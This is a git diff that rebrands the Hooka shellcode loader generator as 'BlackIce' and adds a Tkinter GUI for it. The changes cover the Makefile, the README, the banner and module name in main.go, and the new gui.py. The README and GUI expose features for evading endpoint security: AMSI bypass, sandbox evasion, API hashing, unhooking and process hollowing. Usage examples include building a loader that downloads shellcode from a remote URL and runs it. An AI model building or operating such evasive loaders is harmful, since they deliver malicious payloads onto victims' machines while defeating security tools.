diff --git a/Makefile b/Makefile index 38ad2fd..8129aad 100644 --- a/Makefile +++ b/Makefile @@ -1,4 +1,4 @@ -EXECUTABLE=hooka +EXECUTABLE=blackice WINDOWS=$(EXECUTABLE)_windows_amd64.exe LINUX=$(EXECUTABLE)_linux_amd64 DARWIN=$(EXECUTABLE)_darwin_amd64 diff --git a/README.md b/README.md index 67be46b..67a575e 100644 --- a/README.md +++ b/README.md @@ -1,23 +1,28 @@

-

Hooka

-

Shellcode loader generator with multiples features

-
Coded with 💙 by D3Ext
+
+▄▄▄▄    ██▓    ▄▄▄       ▄████▄   ██ ▄█▀ ██▓ ▄████▄  ▓█████ 
+▓█████▄ ▓██▒   ▒████▄    ▒██▀ ▀█   ██▄█▒ ▓██▒▒██▀ ▀█  ▓█   ▀ 
+▒██▒ ▄██▒██░   ▒██  ▀█▄  ▒▓█    ▄ ▓███▄░ ▒██▒▒▓█    ▄ ▒███   
+▒██░█▀  ▒██░   ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ░██░▒▓▓▄ ▄██▒▒▓█  ▄ 
+░▓█  ▀█▓░██████▒▓█   ▓██▒▒ ▓███▀ ░▒██▒ █▄░██░▒ ▓███▀ ░░▒████▒
+░▒▓███▀▒░ ▒░▓  ░▒▒   ▓▒█░░ ░▒ ▒  ░▒ ▒▒ ▓▒░▓  ░ ░▒ ▒  ░░░ ▒░ ░
+▒░▒   ░ ░ ░ ▒  ░ ▒   ▒▒ ░  ░  ▒   ░ ░▒ ▒░ ▒ ░  ░  ▒    ░ ░  ░
+ ░    ░   ░ ░    ░   ▒   ░        ░ ░░ ░  ▒ ░░           ░   
+ ░          ░  ░     ░  ░░ ░      ░  ░    ░  ░ ░         ░  ░
+      ░                  ░                   ░               
+

+

BlackIce

+

Shellcode loader generator with multiple features

+
Coded by MrDedSec (Shout out D3Ext!)
+

- - - - - - - -

@@ -30,8 +35,7 @@ # Introduction -Hooka is able to generate shellcode loaders with multiple capabilities. It is also based on other tools like [BokuLoader](https://github.com/boku7/BokuLoader), [Freeze](https://github.com/optiv/Freeze) or [Shhhloader](https://github.com/icyguider/Shhhloader), and it tries to implement more evasion features. Why in Golang? Although it's not the perfect language for malware dev, it works perfectly for testing purposes. Obviously if you want something professional and foolproof you should create your own loader in C++, C# or similars. - +BlackIce is able to generate shellcode loaders with multiple capabilities. It is also based on Hooka (see [here](https://github.com/D3Ext/Hooka)). This tool is intended for my own learning, please no not use the tool for malicious activity. # Features This tool is able to generate loaders with this features: @@ -79,8 +83,8 @@ This tool is able to generate loaders with this features: Just clone the repository like this: ```sh -git clone https://github.com/D3Ext/Hooka -cd Hooka +git clone https://github.com/Mrdedsecurity/BlackIce.git +cd BlackIce-Loader make ``` @@ -90,7 +94,7 @@ After that you will find the binary under the `build/` folder > Help panel ``` -Usage of Hooka: +Usage of BlackIce: REQUIRED: -i, --input string payload to inject in raw format, as PE, as DLL or from a URL -o, --output string name of output file (i.e. loader.exe) @@ -137,28 +141,28 @@ Usage of Hooka: -h, --help print help panel Examples: - hooka -i shellcode.bin -o loader.exe - hooka -i http://192.168.1.126/shellcode.bin -o loader.exe - hooka -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --unhook full --sleep --acg - hooka -i shellcode.bin -o loader.dll --domain www.domain.com --enc aes --verbose + blackice -i shellcode.bin -o loader.exe + blackice -i http://192.168.1.126/shellcode.bin -o loader.exe + blackice -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --unhook full --sleep --acg + blackice -i shellcode.bin -o loader.dll --domain www.domain.com --enc aes --verbose ``` > Generate a simple EXE loader ```sh -$ hooka_linux_amd64 -i shellcode.bin -o loader.exe +$ blackice_linux_amd64 -i shellcode.bin -o loader.exe ``` > Generate a DLL loader ```sh -$ hooka_linux_amd64 -i shellcode.bin -o loader.dll -f dll +$ blackice_linux_amd64 -i shellcode.bin -o loader.dll -f dll ``` > Use custom config (various examples) ```sh -$ hooka_linux_amd64 -i shellcode.bin -o loader.exe --hashing --agc --sleep --verbose -$ hooka_linux_amd64 -i shellcode.bin -o loader.exe --exec ProcessHollowing --sgn --strings --blockdlls -$ hooka_linux_amd64 -i http://xx.xx.xx.xx/shellcode.bin --sandbox --sleep --domain www.microsoft.com --verbose -$ hooka_linux_amd64 --calc -o loader.exe --user "DESKTOP-E1D6G0A\tom" --computername "DESKTOP-E1D6G0A" --compress --strings +$ blackice_linux_amd64 -i shellcode.bin -o loader.exe --hashing --agc --sleep --verbose +$ blackice_linux_amd64 -i shellcode.bin -o loader.exe --exec ProcessHollowing --sgn --strings --blockdlls +$ blackice_linux_amd64 -i http://xx.xx.xx.xx/shellcode.bin --sandbox --sleep --domain www.microsoft.com --verbose +$ blackice_linux_amd64 --calc -o loader.exe --user "DESKTOP-E1D6G0A\tom" --computername "DESKTOP-E1D6G0A" --compress --strings ``` # Demo @@ -167,12 +171,6 @@ $ hooka_linux_amd64 --calc -o loader.exe --user "DESKTOP-E1D6G0A\tom" --computer -# TODO - -- ~~Check username and hostname before running~~ -- Add direct and indirect syscall -- Add Chacha20 cypher to encrypt shellcode - # Library The official Golang package has most of the already mentioned features and some others. To make use of it, see [here](https://github.com/D3Ext/Hooka/tree/main/examples) and [here](https://github.com/D3Ext/Hooka/tree/main/pkg/hooka) @@ -213,7 +211,5 @@ Use this project under your own responsability! The author is not responsible of This project is under [MIT](https://github.com/D3Ext/Hooka/blob/main/LICENSE) license -Copyright © 2025, *D3Ext* - diff --git a/cmd/main.go b/cmd/main.go index d7a33d1..2f615ce 100644 --- a/cmd/main.go +++ b/cmd/main.go @@ -32,18 +32,31 @@ type LoaderTemplate struct { } // function to print the banner -func banner(){ - fmt.Println(" _ _ _ _") - fmt.Println(" | | | | ___ ___ | | __ __ _ | |") - fmt.Println(" | |_| | / _ \\ / _ \\ | |/ / / _` | | |") - fmt.Println(" | _ | | (_) | | (_) | | < | (_| | |_|") - fmt.Println(" |_| |_| \\___/ \\___/ |_|\\_\\ \\__,_| (_)") +func banner() { + fmt.Println("\033[36m") // Cyan color for ice effect + fmt.Println("╔═══════════════════════════════════════════════════════════════════╗") + fmt.Println("║ ║") + fmt.Println("║ ▄▄▄▄ ██▓ ▄▄▄ ▄████▄ ██ ▄█▀ ██▓ ▄████▄ ▓█████ ║") + fmt.Println("║ ▓█████▄ ▓██▒ ▒████▄ ▒██▀ ▀█ ██▄█▒ ▓██▒▒██▀ ▀█ ▓█ ▀ ║") + fmt.Println("║ ▒██▒ ▄██▒██░ ▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒██▒▒▓█ ▄ ▒███ ║") + fmt.Println("║ ▒██░█▀ ▒██░ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ░██░▒▓▓▄ ▄██▒▒▓█ ▄ ║") + fmt.Println("║ ░▓█ ▀█▓░██████▒▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░██░▒ ▓███▀ ░░▒████▒ ║") + fmt.Println("║ ░▒▓███▀▒░ ▒░▓ ░▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░▓ ░ ░▒ ▒ ░░░ ▒░ ░ ║") + fmt.Println("║ ▒░▒ ░ ░ ░ ▒ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ▒ ░ ░ ▒ ░ ░ ░ ║") + fmt.Println("║ ░ ░ ░ ░ ░ ▒ ░ ░ ░░ ░ ▒ ░░ ░ ║") + fmt.Println("║ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ║") + fmt.Println("║ ░ ░ ░ ║") + fmt.Println("║ ║") + fmt.Println("║ ░▒▓█ B L A C K I C E █▓▒░ ║") + fmt.Println("║ By MrDedSec ║") + fmt.Println("╚═══════════════════════════════════════════════════════════════════╝") + fmt.Println("\033[0m") // Reset color } // function to print the help panel func help_panel(){ fmt.Println(` -Usage of Hooka: +Usage of BlackIce: REQUIRED: -i, --input string payload to inject in raw format, as PE, as DLL or from a URL -o, --output string name of output file (i.e. loader.exe) @@ -90,10 +103,10 @@ Usage of Hooka: -h, --help print help panel Examples: - hooka -i shellcode.bin -o loader.exe - hooka -i http://192.168.1.126/shellcode.bin -o loader.exe - hooka -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --unhook full --sleep --acg - hooka -i shellcode.bin -o loader.dll --domain www.domain.com --enc aes --verbose + blackice -i shellcode.bin -o loader.exe + blackice -i http://192.168.1.126/shellcode.bin -o loader.exe + blackice -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --unhook full --sleep --acg + blackice -i shellcode.bin -o loader.dll --domain www.domain.com --enc aes --verbose `) } @@ -102,7 +115,7 @@ Examples: // as the names may be a little bit confussing var techniques []string = []string{"ntcreatethreadex", "ntcreatethread", "suspendedprocess", "etwpcreateetwthread", "processhollowing", "no-rwx", "nrwx", "norwx", "ntqueueapcthreadex"} -var buffer bytes.Buffer +var buffer bytes.Buffer func main() { // define variables that will hold CLI arguments values @@ -3234,7 +3247,7 @@ func CompileLoader(format string, output_file string, compress bool, arch string if os.IsNotExist(err) { // if it doesn't exist, then create it - mod_cmd := exec.Command("go", "mod", "init", "hooka_ldr") + mod_cmd := exec.Command("go", "mod", "init", "blackice_ldr") err = mod_cmd.Run() if err != nil { return err diff --git a/gui.py b/gui.py new file mode 100644 index 0000000..332b25e --- /dev/null +++ b/gui.py @@ -0,0 +1,187 @@ +#!/usr/bin/env python3 +import tkinter as tk +from tkinter import ttk, scrolledtext, filedialog, messagebox +import subprocess +import threading +import os +import platform +import shlex + +class BlackIceGUI: + def __init__(self, root): + self.root = root + self.root.title("BlackIce Shellcode Loader Generator") + self.root.geometry("1000x800") + + # Apply a dark theme (Manual colors for standard Tkinter widgets) + self.root.tk_setPalette(background='#2b2b2b', foreground='#ffffff', + activeBackground='#404040', activeForeground='#ffffff') + + # Style configuration for ttk widgets + style = ttk.Style() + style.theme_use('clam') + style.configure("TNotebook", background="#2b2b2b", borderwidth=0) + style.configure("TFrame", background="#2b2b2b") + style.configure("TLabelframe", background="#2b2b2b", foreground="white") + style.configure("TLabelframe.Label", background="#2b2b2b", foreground="white") + + self.notebook = ttk.Notebook(root) + self.notebook.pack(fill="both", expand=True, padx=10, pady=10) + + # Initialize variables + self.blackice_path = tk.StringVar() + self.input_var = tk.StringVar() + self.output_var = tk.StringVar() + self.format_var = tk.StringVar(value="exe") + self.arch_var = tk.StringVar(value="amd64") + self.exec_var = tk.StringVar(value="SuspendedProcess") + self.proc_var = tk.StringVar(value="notepad.exe") + + # Booleans + self.verbose_var = tk.BooleanVar() + self.compress_var = tk.BooleanVar() + self.calc_var = tk.BooleanVar() + self.sandbox_var = tk.BooleanVar() + self.hashing_var = tk.BooleanVar() + self.amsi_var = tk.BooleanVar() + + # Build Tabs + self.create_main_tab() + self.create_execution_tab() + self.create_evasion_tab() + self.create_advanced_tab() + + # Status bar + self.status_var = tk.StringVar(value="Ready") + self.status_bar = ttk.Label(root, textvariable=self.status_var, relief=tk.SUNKEN) + self.status_bar.pack(side=tk.BOTTOM, fill=tk.X) + + self.blackice_process = None + self.find_blackice_binary() + + def find_blackice_binary(self): + """Auto-locate the BlackIce binary based on OS.""" + name = "blackice.exe" if platform.system() == "Windows" else "blackice" + possible = [f"./{name}", f"./build/{name}", f"/usr/local/bin/{name}"] + for p in possible: + if os.path.exists(p): + self.blackice_path.set(os.path.abspath(p)) + self.status_var.set(f"Found binary: {p}") + return + self.status_var.set("Binary not found. Please set path in 'Advanced' tab.") + + def browse_input(self): + path = filedialog.askopenfilename(title="Select Shellcode Binary (.bin)") + if path: self.input_var.set(path) + + def browse_output(self): + path = filedialog.asksaveasfilename(title="Save Loader As") + if path: self.output_var.set(path) + + def create_main_tab(self): + tab = ttk.Frame(self.notebook) + self.notebook.add(tab, text="Main") + + # Files + req = ttk.LabelFrame(tab, text="Required Parameters") + req.pack(fill="x", padx=10, pady=10) + + ttk.Label(req, text="Input:").grid(row=0, column=0, padx=5, pady=5) + ttk.Entry(req, textvariable=self.input_var, width=50).grid(row=0, column=1) + ttk.Button(req, text="Browse", command=self.browse_input).grid(row=0, column=2) + + ttk.Label(req, text="Output:").grid(row=1, column=0, padx=5, pady=5) + ttk.Entry(req, textvariable=self.output_var, width=50).grid(row=1, column=1) + ttk.Button(req, text="Browse", command=self.browse_output).grid(row=1, column=2) + + # Options + opt = ttk.Frame(tab) + opt.pack(fill="x", padx=10) + ttk.Label(opt, text="Format:").pack(side=tk.LEFT, padx=5) + ttk.Combobox(opt, textvariable=self.format_var, values=["exe", "dll"], width=10).pack(side=tk.LEFT) + + ttk.Label(opt, text="Arch:").pack(side=tk.LEFT, padx=20) + ttk.Radiobutton(opt, text="x64", variable=self.arch_var, value="amd64").pack(side=tk.LEFT) + ttk.Radiobutton(opt, text="x86", variable=self.arch_var, value="386").pack(side=tk.LEFT) + + # Output Console + self.output_text = scrolledtext.ScrolledText(tab, height=15, bg="#1e1e1e", fg="#00ff00") + self.output_text.pack(fill="both", expand=True, padx=10, pady=10) + + btn_frame = ttk.Frame(tab) + btn_frame.pack(fill="x") + self.gen_btn = ttk.Button(btn_frame, text="GENERATE LOADER", command=self.start_generation) + self.gen_btn.pack(side=tk.RIGHT, padx=10, pady=5) + + def create_execution_tab(self): + tab = ttk.Frame(self.notebook) + self.notebook.add(tab, text="Execution") + + ttk.Label(tab, text="Injection Technique:").pack(anchor="w", padx=10, pady=5) + techniques = ["SuspendedProcess", "ProcessHollowing", "NtCreateThreadEx", "NtQueueApcThreadEx"] + ttk.Combobox(tab, textvariable=self.exec_var, values=techniques).pack(fill="x", padx=10) + + ttk.Label(tab, text="Target Process:").pack(anchor="w", padx=10, pady=5) + ttk.Entry(tab, textvariable=self.proc_var).pack(fill="x", padx=10) + + def create_evasion_tab(self): + tab = ttk.Frame(self.notebook) + self.notebook.add(tab, text="Evasion") + + ttk.Checkbutton(tab, text="Sandbox Evasion", variable=self.sandbox_var).pack(anchor="w", padx=20, pady=5) + ttk.Checkbutton(tab, text="API Hashing", variable=self.hashing_var).pack(anchor="w", padx=20, pady=5) + ttk.Checkbutton(tab, text="AMSI Bypass", variable=self.amsi_var).pack(anchor="w", padx=20, pady=5) + + def create_advanced_tab(self): + tab = ttk.Frame(self.notebook) + self.notebook.add(tab, text="Advanced") + ttk.Label(tab, text="BlackIce Binary Path:").pack(anchor="w", padx=10, pady=5) + ttk.Entry(tab, textvariable=self.blackice_path).pack(fill="x", padx=10) + + def log(self, message): + self.output_text.insert(tk.END, message + "\n") + self.output_text.see(tk.END) + + def start_generation(self): + # Build command list + if not self.blackice_path.get(): + messagebox.showerror("Error", "BlackIce binary path is not set!") + return + + cmd = [self.blackice_path.get(), "-f", self.format_var.get(), "-a", self.arch_var.get()] + + if self.calc_var.get(): + cmd.append("-calc") + else: + if not self.input_var.get(): + messagebox.showerror("Error", "Please select an input file or check 'Use calc'") + return + cmd.extend(["-i", self.input_var.get()]) + + if self.output_var.get(): + cmd.extend(["-o", self.output_var.get()]) + + # Add flags based on repository CLI args + if self.sandbox_var.get(): cmd.append("-sandbox") + if self.amsi_var.get(): cmd.append("-amsi") + + self.log(f"[*] Running: {' '.join(cmd)}") + threading.Thread(target=self.run_process, args=(cmd,), daemon=True).start() + + def run_process(self, cmd): + try: + self.gen_btn.config(state=tk.DISABLED) + process = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True) + for line in process.stdout: + self.log(line.strip()) + process.wait() + self.log("[+] Finished.") + except Exception as e: + self.log(f"[!] Error: {str(e)}") + finally: + self.gen_btn.config(state=tk.NORMAL) + +if __name__ == "__main__": + root = tk.Tk() + app = BlackIceGUI(root) + root.mainloop()